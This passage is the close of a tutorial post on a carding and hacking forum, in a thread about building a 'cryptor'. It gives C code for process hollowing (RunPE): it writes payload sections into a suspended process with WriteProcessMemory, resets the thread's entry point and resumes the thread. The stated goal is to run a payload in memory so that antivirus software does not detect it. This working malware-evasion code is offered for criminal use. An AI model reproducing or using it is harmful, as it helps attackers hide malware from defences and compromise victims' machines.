(PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-> e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i); // write section data WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-> VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-> PointerToRawData), pish-> SizeOfRawData, NULL); } } Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread. Code: VOID RunPE (VOID) { ... // set the corresponding entry point address ctx.Eax = pinh-> OptionalHeader.ImageBase + pinh-> OptionalHeader.AddressOfEntryPoint; SetThreadContext (pi.hThread, & ctx); // restore and execute our application ResumeThread (pi.hThread); } The app is now running in memory and hopefully the antivirus software won't detect it. [B]Conclusion[/B] Hopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.[/i] [/QUOTE]
Name
Verification
Post reply
Home
Forums
CARDING & HACKING
Hacking Tools
Creation of a cryptor. An essential tool for the job!
Top